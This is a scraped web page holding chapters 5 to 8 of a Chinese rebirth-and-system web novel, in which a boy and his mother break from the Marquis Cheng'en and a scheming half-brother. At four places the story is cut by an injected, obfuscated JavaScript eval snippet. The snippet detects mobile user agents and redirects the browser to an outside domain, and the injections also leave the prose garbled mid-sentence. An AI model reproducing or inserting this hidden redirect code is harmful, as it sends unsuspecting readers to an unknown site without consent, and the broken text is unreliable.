或许正是因为他的身份水涨船高,而护国公林家父子已经被收回兵权在京都荣养,明显受到皇帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不到一天时间,林若风就带着匠作营的人,将那座如同小房子般的千工床抬上一辆巨大的平板马车,用床帐帷幔围得密不透风,就像一驾移动的马车房般,从承恩侯府搬出去,穿过半个京城大街,出城直奔南山林家的温泉山庄而去。 这一路上,引得无数路人围观看热闹,猜测唐林两家反目的原因,还有好事者跑去后门洞开的承恩侯府打探消息,正好碰到林家人拿着林夫人的嫁妆单子前去对账。 于是林夫人要与承恩侯和离的消息顿时传遍了整个京城。 可更多人好奇的是,承恩侯唯一的嫡子,曾经名动京城的小神童唐铭柯,并没有留在承恩侯府,而是跟着林夫人离开了唐家。 据说承恩侯曾在他离家之前说过,他若是踏出承恩侯府半步,就要以他不孝之名,剥夺他的世子之位,甚至要在唐家族谱上将他除名。 可没想到,林夫人竟然一纸诉状将承恩侯告上府衙,不光是要求夫妻和离,还拿出当初他们成亲时的婚书,要自立女户,将唐铭柯更名改姓,从唐家子变成林家子。 于是,承恩侯原来是个赘婿的消息,疯传一时。 5. 第五章 “嘿!哈!——” 六岁的孩子板着小脸,一本正经地扎着马步打拳,自动呼喊给动作配音,一副煞有架势的模样,看得旁人忍俊不住,哪怕是亲舅舅都不例外。 林若风比林夫人大了十岁,早就有了三子一女,长子已经十五岁,已经在御林军中当值,但儿子的武艺是老国公教的,他也是这两年被调回京城当了个闲职,才有时间教导子女,可他最小的女儿如今都已经十岁,哪里有小铭哥儿这般好玩。 唐铭柯都忍不住向他呲牙:“舅舅!你笑我!” “没有,没有!”林若风咳了两声,忍着笑,一本正经地否认。 没办法,白嫩嫩的糯米团子像个小大人一样练功,短手短脚,怎么看怎么好玩。 唐铭柯嘟着嘴,愤然控诉:“我要告诉娘,你不好好教我练武,还笑话我!” 那天,他通过系统,找到林夫人陪嫁铺子的管事给护国公府送信,的确是想着护国公府能过来帮忙撑腰,保护林夫人和他。 可他也没想到,林家居然这么给力,林夫人居然如此硬气。 不过对他来说,也是件好事,尤其是林夫人念在他救母的行为,甚至不顾非议,硬是将他带出了承恩侯府,为此不惜跟承恩侯翻脸,更是让他感激不尽。 尤其是看到林若风带着军汉和匠作营的人,大锤砸墙,撬棍抬屋,竟然真的将林夫人连人带房子都抬走,如此张扬地走街过市,不光是将承恩侯府的脸面扔在地上踩,而且让整个京城的人都看到,林夫人和他身后有人撑腰,谁敢欺负他们,必然要承受他们无法想象的代价。 上一世,林夫人死后,他被冤枉被逐出家门,林护国公府可是压根没来人看他一眼。 就连面前这个舅舅,当初也是狠狠地瞪着他,认为他是害死林夫人的白眼狼。 现在,一切都不同了。 林夫人带着他们兄妹住在温泉山庄,隔壁就是林家的庄子,老护国公和夫人现在也住了过来,说是不喜欢城里最近的喧闹,实际上也是为了陪陪这个不省心的女儿。 于是,不光老两口来了,连林若风也跟着来了。 名义上是为了照顾老两口和妹妹,实际上是因为他不到十天时间,已经找各种理由,打了承恩侯六次,让唐贵妃在皇上面前哭诉。 结果皇帝就罚他禁足,他干脆就跑来山庄这边“禁足”,正好可以陪着老父母和孩子们,悠悠闲闲地在这里避暑度假,陪妹子坐月子,日子不要太逍遥。 更何况,在这里“禁足”,也没妨碍承恩侯出门被套麻袋下黑手,连他早上去上朝的时候,轿夫都能半道崴脚把他连人带轿子掀翻在地上,吓得他现在称病告假躲在家里,连门都不敢出半步。 这让唐铭柯见识到了另一种力量。 前世的他,因为父亲是科举出身,被林夫人看中,算是榜下捉婿,跟着一步登天,也帮着唐贵妃上位,才成为皇亲国戚,所以当父亲从小培养他读书当个神童的时候,他也将读书当成自己的天分和骄傲,从未想过,会有朝一日,被剥夺身份后,连参加科举的资格都没有。 重生后,通过系统,他才知道,原本自己的命运并非如此。 原本他三岁识子,五岁作诗,七岁就考过童生试,十六岁成为本朝最年轻的状元,接下来娶公主做驸马,一帆风顺地成为本朝首辅,乃是一人之下万人之上的人生赢家。 然而,因为那个异世来的穿越者,成为承恩侯通房丫环生的生子后,一切都被改变了。 先是林夫人难产一尸两命,黑锅扣在了他的头上。他成了害死母亲和妹妹的凶手,不光父亲不疼舅舅不爱,连林家都不承认他这个外孙。 接下来,本该考童生的那年,他在考前生病,卧床不起,那位庶兄则顺利考上童生,成为令父亲骄傲的长子。 本该成为状元的那年,秦淮名妓吊死在他家门口,说他始乱终弃,庶兄则拿出他科举舞弊的证据,大义灭亲,他百口莫辩,被削去功名成为白衣,并且被终身禁止参加科举。 再然后,是王嬷嬷在“临终”前忏悔,举告他并非承恩侯的亲生子,而是林夫人在成亲后三年无子,假孕从外面抱回来的野种。 承恩侯一怒之下,去告了御状,说护国公府偷换他的儿子,混淆血脉,不光将死去的林夫人迁出了唐家祖坟,还将唐铭柯除族后打断双腿,扔出侯府,沦落为街头乞儿,受尽欺辱后,最终饥寒交迫的死于冬日的大雪中。 那时的老护国公夫妻已经因为丧女之痛双双病故,林若风未能承爵不说,还被贬官罚俸,后来更是以丁忧为名回乡,彻底离开京城。 哪里有现在的威风霸气,说砸墙就砸墙,说拆房就拆房的本事。 唐铭柯见识到舅舅的厉害后,忽然觉得百无一用是书生,前世空读圣贤书,就算有满腹经纶,最后手无缚鸡之力,也只有任人欺辱的份。 现在他躲过了第一个转折点,却不知那个穿越者还会用什么手段,从系统处得知这些异世来的穿越者,拥有上千年文化传承的诗词歌赋记忆,光是当个文抄公,就足以令世人惊叹。 可偏偏那人不光要当文抄公,还想要他的文华气运,所以才会设计与他成为兄弟后,朝夕相处,一点点吸收他的气运和才华,夺取他原本的命运线。 如果他有舅舅的一身本事,再遇到那个家伙,能动手就不哔哔,打得他满地找牙,看他还敢不敢上来蹭他的气运,夺他的文脉。 只不过……学武真的好难,比读书写字要难得多也累得多。 光是扎了两天马步,他现在连站着都会两腿发软抖个不停,若不是每天还要写大字,没有跟小表哥们一样去打木桩,恐怕他的小手都会肿得拿不住笔。 林若风还幸灾乐祸地说:“我看你还是算了吧,你读书厉害,习武可不一样,这小身板,就算练下去也练不出什么名堂,还是别浪费时间了。” 唐铭柯一本正经地说道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716369|173729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是外甥随舅舅,我若是练不好,岂不是要给舅舅丢脸?更何况,我要练武,也是想学好本事,以后保护母亲和慧娘。” 那个前世不曾出生的女婴,后来被林夫人起名林慧娘,希望她长大以后,能有一双慧眼,不要像她一样识人不明,险些丢了性命。 听他这么一说,林若风挠挠后脑勺,略有些尴尬,“你还小,舅舅会保护你母亲和妹妹的。” 说着他又补充了一句:“就算舅舅不在的时候,还有你那三个表哥……” 唐铭柯却摇摇头,十分认真地说道:“人有不如己有。求人不如求己。母亲既然要自立门户,以后我就要替她和慧娘顶门立户,学会功夫,若是有什么事,我便可随时护住她们。” 林若风沉默了一会儿,忍不住问道:“铭哥儿,你当真不回唐家了?你姑姑是贵妃,你父亲是一等承恩侯,你这世子之位,除非皇上下旨,轻易不会剥夺……” “不回!”唐铭柯斩钉截铁地说道:“从我跟母亲离开那个家开始,就没打算回去。我是母亲的儿子,不再是唐家的儿子。” 经过上一世的惨痛经历,他怎么可能再回去认那个父亲和兄长,他不把他当儿子,那他也不会当他是自己的父亲。 林若风欣慰地揉了揉他的头顶,小孩子的脑袋毛茸茸的,虽然有些执拗,依然可可爱爱的。 “好吧,只要你不怕吃苦,不嫌累,那我就将林家的家传功夫都教给你。不过,能不能学会,就要看你自己的了!” 唐铭柯重重点头,身上的酸痛算得了什么,这点苦和累,与前世那筋断骨折,生死两难的境地相比,简直不值一提。 他不光要学会林家武功,还要继续读书,拿回本该属于他的一切。 “啊——阿嚏!”白马桥春风胡同的一处小院子里,一个十来岁的少年连着打了几个喷嚏,鼻涕口水飞沫溅在了书桌铺好的宣纸上,将他刚刚写好的几个大字都晕染糊成了一片。 依稀可见,上面所写的,是“落霞与孤鹜齐飞,秋水共长天一色”,只是这会儿长天两字都已经被口水糊了,顿时就失去了原本的气势。 他忍不住皱眉,原本以为,自己穿越到这个架空的古代王朝,这里居然在汉代以后就拐了个弯。 从王莽新政后,不但没有天下大乱,东汉崛起,反而改换朝代,比原来的历史提前了几百年开始科举取士,就导致后来的唐诗宋词都没有出现,反而是继承了西汉“罢黜百家,独尊儒术”的政策,以四书五经为主,更重时文策论,而非诗词歌赋。 这就让他这个文抄公无法通过记忆里那些流传千古的诗词获取功名,就算当个大诗人又能如何?没见李杜文章千古传,却连个官都当不上。 所以,他无论如何,也要重新找回那个神童弟弟,吸收他的文脉,夺取他的命运,才能在这个时代成就一番事业! “唐铭柯是吧,我一定会把你找回家的,我的好弟弟,你就等着吧!” 6. 第六章 “开门!开门!” 衙差敲打着承恩侯府的大门,红漆大门紧闭,兽环被敲击得砰砰作响,半天才听到里面的人回应。 “谁啊?我家老爷最近养病在家,不见外客!” 门房小心翼翼地拉开条门缝,朝外望着。 人都说宰相门房七品官,他家侯爷怎么也是一品侯爵,还是当今贵妃的亲哥哥,两个小皇子的亲舅舅,放在以前,他这个门房连七品官都看不起。 可是此一时彼一时,自从林夫人搬出了承恩侯府,护国公的人凶神恶煞地上门拉走了她的嫁妆,几乎搬空了侯府的仓库,就这样还欠了近一半的数目。 承恩侯不得不向宫中的唐贵妃求助,可护国公夫人也进宫找太后告状,哪怕当初的赐婚是林夫人自己求来的,可承恩侯和唐贵妃能上位也没少过林家的助力,如今一朝得势就想过河拆桥,让原本就对唐贵妃不满的太后更是不客气地敲打了她一番,让她不得不出钱替哥哥填补府中亏空,偿还他花掉的林夫人嫁妆。 不当家不知柴米油盐贵,哪怕是出身寒门的承恩侯,自从娶了林夫人,就再也没有数着铜板过日子,甚至出门都不带银钱这种“阿堵物”,反正他走到哪里都能签单记账,回头自有林夫人负责给人结账付款。 在林夫人离开之后,他才发现,看似花团锦簇、富丽堂皇的承恩侯府,那就是个吞金兽花架子,所有的门面功夫和锦衣玉食、奴婢成群,都得用他最看不上的“阿堵物”来支撑。 结果不到一个月时间,府里的奴仆就走了一大半,侍卫也只剩下了二十来个,这还是承恩侯卖了些字画给他们发了饷才留下的。 于是林若风想来揍承恩侯的时候,那更是如入无人之境,就算有看到他的,也没有敢上前去阻拦的。 就那点儿银子,让他们卖命,不值得、不值得! 毕竟,林若风揍承恩侯那是替妹妹出气,揍再狠也不会打死,还会有御医来疗伤治病,可他们若是被打伤甚至打残,承恩侯可不会管他们以后怎么生活。 光是看他挨打之后,还迁怒并杖责了“护卫不力”的几个侍卫,就知道这位的德行,可远不是以前树立的谦谦君子人设。 尤其被打得不敢出门,告病在家后,更是府门紧闭,谢绝访客,免得那些无聊得打探消息的人成天上门来看笑话幸灾乐祸。 只是谢客这种事,也不是什么轻松活,以前有人上门求见还要给门房塞点银子让他及时通传,现在那些人上门被拒绝还要啐他一口,更是让他不愿开门,就算有人敲门也当听不见。 直到这敲门人不屈不挠,一个劲砸门砸得他无法安生,才开门瞧一瞧准备继续关门,不料看到的竟是个衙差,正是燕京府府衙的差役,在以前他连眼角都懒得看一眼的货色,现在居然嚣张地敢砸侯府的大门,也不怕侯爷一个帖子送到知府处,罢了他的差事还赏他三十大板。 那衙差一眼就看出了门房眼中的鄙夷之色,没好气地说道:“现有燕京林氏女递上诉状,要求与承恩侯和离,府尊大人已经接下状子,三日后辰时三刻开堂。你且禀告你家侯爷,若是不能按时上堂,府尊便以缺席判定,莫要怪我家大人未曾提前告知哦!” “什么?”门房大惊失色,“燕京府竟然敢接承恩侯和离的诉状?这可是皇上赐婚的姻缘啊!” 衙差翻了个白眼,“若是换了你家侯爷,敢不接护国公府送来的状子吗?反正话我已经带到,你们侯爷去不去,就是你们的事了,告辞!” 说完,他转身就走,一刻都不多留。 宠妾灭妻、重庶轻嫡,从来都是乱家之兆,这侯府做事如此不讲究,软饭硬吃还当白眼狼,如今京城有哪个不知,就算他妹子是宠妃,燕京府也不敢不接护国公的状子啊! 相比承恩侯,护国公就算交回了兵权,可那一家子武夫,都是混不吝敢直接抡拳头打人的。 没见就连承恩侯被打了,皇上也不过是将护国公世子禁足一月,罚俸半年,不痛不痒,根本没有偏袒承恩侯这个小舅子的意思,其他人哪里还敢跟护国公府的人对着干。 别看人家交回了兵权,可圣恩一点儿都没少。 也就算承恩侯那傻子以为没了兵权的护国公府就成了没有爪牙的老虎,想要算计人家女儿,翻身做主,结果这不就翻身不成变翻车了吗? 承恩侯听到下人的禀告后,立刻觉得更加头疼起来。 “父亲,不如让孩儿前去向嫡母请罪。父亲只是不忍孩儿流落在外,骨肉分离,方才认回孩儿。若是嫡母怪罪,要打要罚,孩儿接着便是。实在不行……” 周文渊低头垂泪,哽咽着说道:“父亲便将孩儿逐出家门,权当陌路便是。若能让嫡母出气,不再误会父亲,孩儿……便是死了,也只当报答父亲的生恩……” 承恩侯心疼地看着这个儿子,明明比唐铭柯还要大了三岁多,已经近十岁的孩子,现在看起来却比唐铭柯高不了多少,瘦瘦小小,可怜巴巴,与他如出一辙的面容,仿佛他童年的翻版,让他顿时想起了自己艰苦的童年时代,顿时代入情绪,将心疼自己的感情转移到了这个可怜的孩子身上。 “文渊,你不必如此。为父既然找到了你,自然会让你认祖归宗。你生母本是我发妻,虽未上族谱,却是为父在贫贱时的知音,可惜在林家逼婚之时,她为了我的前程,隐瞒怀孕之事,离我而去。想不到这一却就是天人永隔,只是苦了你在外飘零十载。” “林氏既然要与我和离,那你以后就是我的嫡长子,便是告到皇上面前,我也不会再向林家屈服。” 周文渊,哦不,唐文渊感激涕零,满眼孺慕之情地看着他,“多谢父亲。只是铭弟也是父亲的儿子,父亲还是将他带回府中吧!” 承恩侯一想起唐铭柯就生气,“那个逆子,自愿出族,你还提他做甚!” 唐文渊小心地说道:“可若是他跟着母亲,另立门户, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716370|173729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是再改嫁认他人为父,以后岂不是要被人笑话父亲和我们唐家……” 承恩侯皱起眉来,“那就等上堂之时,我再向林氏说明,要那逆子归家。他生是我唐家子,就算死,也是我唐家鬼,岂能由得他逆子任性!” 三日后,燕京府衙大堂之上,承恩侯这话一说出口,立刻就引得林夫人柳眉倒竖,朝着他呸了一口。 “唐靖远!你当初骗我说家中无妻无子,我才向皇上求得赐婚,给你长脸。谁想你竟然还藏了怀孕通房,养下这么大个儿子!” “我嫁给你时,你连一百两聘金都拿不出来,全靠我陪嫁撑起家门。我与你的婚书可有话在先,三年无子方可纳妾,若有违背,当净身出户!” “我为你生儿育女,你竟然收买我身边的丫鬟婆子想置我于死地,你还有什么脸面来跟我要铭哥儿?你不是怀疑他不是你亲儿子吗?你亲儿子就在你身边,甭想打我铭哥儿的主意!” 承恩侯没想到林夫人竟然如此不顾脸面,当堂开骂,气得涨红了脸,“我从未说过铭哥儿不是我亲生子。更何况,他是经过册封的承恩侯世子,岂能跟你?” “呸!”林夫人白了他一眼,“交给你?让你再打死他一次?做梦!” 承恩侯额头青筋直跳,“是那逆子犯错,我罚他也是为他好。你若是执意如此,我便以不孝之名将他除族,让他永不能踏入仕途半步!” “你敢!”林夫人大怒。 承恩侯昂起脖子,“我有何不敢?他是我儿子,我便是当真打死他,也是他应受的……” “父亲此言差矣。”唐铭柯拦住了想要上前撕了承恩侯的母亲,抬头望向承恩侯,“父亲若要儿子死,敢问儿子所犯何错?” 承恩侯冷哼道:“你顽劣胡闹,害你母亲早产不说,还不守家规,火烧宗祠,挑拨父母关系,唆使你母亲与我和离……如此无法无天,大逆不道之子,我便是亲手打死你,也免得你长大以后为祸更甚。” 唐铭柯看着他冷厉的眼神,小小的身躯不但没有畏缩后退,反而从容说道:“孩儿曾读圣人书,子曰‘小杖则受,大杖则走。委身侍暴,陷父于不义,非孝也!’(注1)” “圣人都说了,若父有过,子当几谏。非父命皆当盲从。若父行暴虐,子不谏止,便是纵父成恶,这才是真正不孝之过。” “父亲若命子亡,是逆天理、悖人伦之大过,子当进言谏诤,岂可愚孝顺从,反而令父亲陷于不义之地?” 他冷静地看着已经目瞪口呆的承恩侯,一字一顿地说道: “若是父亲定要杀我这个逆子,便是要行逆天理、悖人伦之事,我若顺从赴死,陷父亲于不义,才是真正的不孝。” “父亲口口声声说我烧毁祠堂,可不见当日我也差点被烧死在祠堂,明明是有人要杀我害我,父亲却执意说我的是逆子,不知在唐家列祖列宗眼中,到底谁才是真正的——” “逆子?” 7. 第七章 “啪啪啪!”林夫人当堂击掌,大笑起来,笑得格外张扬痛快,恣意飞扬。 她是武勋世家出身,当初眼瞎看上唐靖远这个“才子”时,被他洗脑要谨言慎行,要注重德容言功,要学习女三书,否则被人当成粗鄙武夫,有失礼仪风范……搞得她这些年来苦苦压抑本性,在他面前扮演知书识礼的贤妻良母,可最终依然是一场空,那她又何必为了这人压抑改变自己? “还骂别人逆子,你才是真正最无耻最卑鄙的伪君子!” 林夫人骂得那叫一个痛快淋漓,几乎将成亲这十年来压抑在心中的郁气一下子全都发泄出来,一张面孔上红霞飞起,精神奕奕,明艳动人,完全不似一个刚出月子的产妇。 甚至都不像一个养尊处优的侯府贵妇,而是一下子年轻了好几岁,似乎又回到她少女时期,眉眼飞扬,目光灼灼,自信大方,带着种寻常女儿家身上难得一见的霸气。 承恩侯都不由得恍惚了一下,仿佛回到了十年前,第一次看到她时的模样。 那时的他,也曾经因为榜下捉婿时,看中他的是护国公嫡女而骄傲过,哪怕他只是二甲十五名,后面的仕途一帆风顺得甚至超过了同榜状元探花榜眼。 高中进士,娶妻名门,对他而言双喜临门的好事,可一时的骄傲和喜悦,很快就被吃软饭的屈辱取代,他甚至不敢让老家的通房周氏进京,只是送了封信和一百两银子就将她打发了,以免被林家人知道,违背了婚书上约定的三年无子方可纳妾。 只是那时的他还不知道周氏已经怀孕,直到今年周文渊拿着当初那封信上京找他,告知周氏已死,临终前让这个可怜的孩子认祖归宗。 只一眼,他就认出这个与他少年时几乎一模一样的孩子,肯定是他的儿子,同样聪明伶俐,却贫苦孤苦,受尽旁人白眼和欺辱。 从那一刻,他心中的保护欲和父爱油然而生,对这个孩子的愧疚和歉意,让他的心一下子就从唐铭柯身上偏移到了周……唐文渊的身上。 唐铭柯的神童之名,是他从小苦心孤诣地培育出来的,可唐文渊跟着周氏,甚至连私塾都上不起,只能在外旁听,依然能有如此天分,可见这孩子才是真正继承了他的血脉的天才。 更何况,铭哥儿就算没有他这个父亲,还有林夫人,可文渊这孩子,就只有他这个父亲可以依靠。 尤其是铭哥儿这个白眼狼,只向着他的母亲,完全不顾他这个父亲的名声和脸面,小小年纪就如此忤逆不孝,简直就跟林家人一模一样。 承恩侯的视线从林夫人身上转移到唐铭柯身上,几乎是咬牙切齿地说道:“你若是跟着你母亲离开侯府,就不能再姓唐,也要剥去世子之位,以后承恩侯府的一切,都与你无关。” “如此甚好,多谢承恩侯。”唐铭柯立刻转头望向林夫人,“母亲,是不是自今日起,孩儿便可随你姓林?” “那是自然!”林夫人朗笑道:“以我儿之才,根本不必稀罕承恩侯府的爵位。凭自己的本事考个状元都没问题!” “靠祖不如靠己,铭哥儿不必靠你也能自己博取功名,封侯拜相,等到那时,望你不要再舔着脸来要他孝顺奉养,拿他来给你唐家脸面增光添彩。” “这你放心,我儿文渊,哪怕未经过名师教导,亦有惊世之才,哪里是那逆子可比的!” 承恩侯刚说完,就被身后的唐文渊轻轻扯了下衣角,“父亲,铭哥儿始终是你的骨肉,又岂可让他这样离开唐家?孩儿只要能认回父亲便可,并未想过与铭哥儿争夺世子之位啊!” 说着,唐文渊还上前向林夫人行了一礼,满面歉意,“小子只是因为丧母之后,孤苦无依,方才上京投靠父亲,不料却引起父亲与夫人的误会,千错万错都在我,还望夫人念在与父亲夫妻十年的情分上,原谅父亲这一次。” “若是夫人不解气,小子愿任由夫人处置……只是父亲这几日辗转反侧,都因为思念夫人之故……” “你别说了。”林夫人面无表情地看着他,“这话你一个孩子说出来,更让我恶心。” 说着,她瞥了承恩侯一眼,冷哼道:“一想到他骗了我十年,这十年夫妻,不知他说了多少谎话,还差点害了我们母女的性命……至于他睡不着,呵呵,若是那一日铭哥儿未能及时唤醒我,我们母女一尸两命,他才能真正安枕无忧吧!” “少说这些假惺惺的废话,当初你立下的婚书在此,这孩子便是你对我不忠的证据,依照婚书约定,若是你不肯和离,那我便继续上告,这次就要与你夫妻义绝……” 承恩侯气得一把拉回唐文渊,恨声说道:“林若曦,你嚣张跋扈,骄纵善妒,不遵三从四德,根本不配为妻,你要和离,我便送你一纸休书……” “啪!”林夫人一巴掌扇在了承恩侯的脸上,扬眉冷笑:“我曾替你母亲养老送终,为你生儿育女,操持家务,你凭什么休我?你说三从四德,可别忘了还有三不去(注1)。” “我曾为婆婆服丧三年,还有你婚前贫贱,婚后因我林家起势得享荣华富贵,想要休妻,门都没有!” “你若不肯和离,那我便告你骗婚在先,意图杀妻在后,与你夫妻义绝!你敢休妻,我便敢休夫!” 她的声音掷地有声,铿锵有力,别说是承恩侯无言以对,便是公堂之上的燕京府和书记官们都鸦雀无声,带着几分敬佩之色地看着这位林夫人。 哪怕大燕朝风气相对开放,对女子的要求并不似前朝那般严苛,尤其是开国之初,为了增加人口,鼓励生育,上至皇帝,下至平民百姓,都有娶寡妇进门的例子,更没有什么贞节牌坊的说法。但千年以来的风气使然,被休妻的下堂妻,甚至被丧夫的寡妇更为难过。 就算如此,看到林夫人理直气壮地硬杠承恩侯,还是让一众男子都为之佩服。 承恩侯气得浑身发抖,正要继续说下去,却听堂外传来一声长喝,“奉皇上口谕,传承恩侯夫妻进宫——” 燕京府知府如蒙大赦,立刻一拍惊堂木,“今日暂且退堂,待本府择时再审!” 说着,还忍不住抹了把额上涔涔而下的冷汗,他这个知府做的,真是太不容易了啊! 前生不善,今生附郭。人都说三生作恶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716371|173729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附郭府城,恶贯满盈,附郭京都。 他这个区区四品京官,在这个三品四品遍地走的京城中,根本算不得什么。皇城脚下无小事,随便一个小案子,动辄就会牵连到朝中高官或者皇亲国戚,而他这个理论上能够管辖燕京和周边州县的燕京知府,实际上连抓个小偷都要请示刑部。 而现在堂上的两位,一个是开国三公之一的护国公后人,便是交出兵权那也是国之重臣。另一个则是贵妃的亲哥哥,六皇子和九皇子的亲舅舅,一品承恩侯。 无论哪一个都是他得罪不起的大佬,这和离的状子交到他手中,真真是个烫手山芋,拿不得扔不得。 如今听到宫人传旨,简直如闻纶音,救了他的一条狗命。 更何况,当初这两位成亲,就是皇帝赐婚,这解铃还须系铃人,无论和离义绝还是休妻休夫,他这个小小的燕京知府做不得主,还是请陛下做主才是。 林铭柯悄悄地松了口气,轻轻地握了下林夫人的手。 林夫人低头朝他笑了一下,“铭哥儿你放心,便是在皇上面前,我也会争取让你姓林。无论如何,你都是我的儿子,这狗屁承恩侯世子,咱不稀罕!” 林铭柯点了点头,眼眶有些湿润。 他在系统提供的记忆库里,听过一首儿歌:“世上只有妈妈好,有妈的孩子像块宝……(注2)” 上一世他从妈妈的宝贝儿子,变成了无根的飘零小草,这一世有了母亲的守护,他终于有了对抗唐靖远和唐文渊父子的底气。 就像妈妈说得一样,他不需要承恩侯府的恩荫,只要不被那个穿越者夺走气运文脉,他凭借自己的天赋才华和努力,一定能够为自己,为母亲,争来更多的荣耀和风光。 只是前一世他在母亲死后就再也没进过宫,没见过曾经对他恩宠有加,赐他神童名号的燕武帝,当时母亲病死,自然也不会有跟父亲和离闹得满京城皆知之事,所以他也不知道,这位本该算他“姑父”的皇帝,此时此刻,宣承恩侯夫妻进宫,到底是好是坏。 系统:滴!抵挡恶意进攻一次,守护宿主气运文脉成功! 脑海中突如其来的声音响起,让林铭柯霍然抬起头来,望向站在承恩侯身边的唐文渊。 而唐文渊的脸上,也露出了难以描述的震撼之色。 他脑海中同样有个声音响起:“吸收文曲星唐铭柯气运失败,系统能量不足,需关机充能三日,请宿主努力学习,及时吸收更多文脉气运,为系统充能,解锁更多系统功能……” 随着滴的一声,系统声音消失,无论他千呼万唤再也无法出现。 他此时此刻,有一万句特殊问候想要送给这个不靠谱的宕机系统。 如果不是这玩意儿绑定了他,把他送到这个架空的古代世界来,他又何至于沦落到要跟一个小娃娃抢爸爸的地步? 该死的系统,若是吸收不到唐铭柯的气运,以他现在的身份地位,还能从哪里吸收文脉气运来给系统充能呢? 他抬起头来,忍不住望向身边的父亲。 听说,这位曾经也是一个才子? 8. 第八章 承恩侯夫妻都不是第一次进宫,但此时此刻,谁都无心欣赏宫中景色。 对于承恩侯来说,无论是休妻还是和离都是一件丢脸的事,更不用说林夫人居然还要“休夫”!这种事在燕京府衙已经让他丢尽脸面,闹到皇帝和贵妃面前,更是让他无地自容。 连家务事都管不好,又如何能处理好政务? 他都能想象得到皇上会用什么样的眼神看他——厌恶?鄙夷?还是漠视? 无论哪一种,都是他不想看到的。 可惜,身为人臣,他连拒绝和逃避都不可能。 林夫人则很是平静,这几年她其实已经很少进宫,除了必须出席的宫宴,她根本不想去见唐贵妃。 当初那个需要向她求助,花着她的嫁妆打点宫中关系的宫女,一步步晋升后,已经能够面不改色地连句“免礼”都不说,居高临下地接受她的行礼,那种骄傲和得意的眼神,都刺得她不想多看一眼。 她早该发现,妹妹是这种忘恩负义的白眼狼,哥哥能好到哪里去? 怪只怪,她当初眼瞎,后来心都瞎了,像是失了智一般,完全看不到那张虚伪的面孔下根本没有她想要的半点真心。 这段婚姻是她当初自己求来的,现在要解除,那就算是皇上阻拦,她也要想办法解决,哪怕承担多少代价,也好过再跟这伪君子继续纠缠下去。 给他们带路的虽是皇帝身边的太监成德,却是领着他们一路朝着琼华宫方向走去,一看就是唐贵妃为主,扯着皇帝的名义来给她施压。 “参见陛下,参见娘娘!” 承恩侯和林夫人一起行礼,抬眼看到皇帝和唐贵妃高坐上方,面色冷凝,带着几分不满地俯瞰着两人。 “林氏,你可知罪?”皇帝沉声发问,开口就让林夫人心头一沉,从唐靖远被封为承恩侯后,皇帝都是以承恩侯夫人称呼她,现在称她为林氏,是准许她自立门户了,还是对她要和离而不满? “臣妾不知。”林夫人纵然有几分忧心,却还是没有顺着他的意思认错,皇帝有金口玉言,不可轻易更改,她若是当着皇帝的面说一句知罪,就等于先把自己放在了有罪的位置上,岂不是完全要任人宰割? 若说有罪,那也该是唐靖远杀妻害女之罪,她何罪之有? 唐贵妃却在一旁不满地说道:“你当初求皇上赐婚,如今竟然私自要求和离,还告上燕京府要求判离。如此不守妇道,欺君罔上之罪,你还不知?” 林夫人猛然抬起头来,直视着她。 “说起欺君之罪,臣妾当初求皇上赐婚之时,可是问过唐靖远,他亲口承认未婚无子,身家清白。臣妾才会求皇上赐婚。” “可如今我们成亲十载,他有个九岁的儿子找来认祖归宗,为此他不惜买通臣妾身边奴婢,在臣妾生产时做手脚,险些害得臣妾难产致死。” “敢问贵妃娘娘,不知这算不算欺君之罪?” “贵妃娘娘与承恩侯是亲兄妹,十年之前的事,不知贵妃娘娘又是否知情?” 唐贵妃一噎,无言以对。甚至不敢转头去看皇帝一眼。 这让她怎么说?说她那时年少不知情?可承恩侯前几日认回儿子时,还送信给她,当初她在进宫前,周氏一直服侍他们兄妹二人,得知周氏有子,她甚至比唐靖远还要高兴。 明明她和林若曦一般年纪,可当初林若曦能够自己选择夫婿,还要求丈夫不得纳妾,对她一心一意。 而她呢?一开始只是宫中最低贱的宫女,若不是低声下气地向林夫人讨了些银子,又得了林家人的庇护,恐怕当时就被强行许给一个老太监对食。 为此她花了不少钱才博得皇上的一夜恩宠,还好她一举得子,才能顺利晋升。 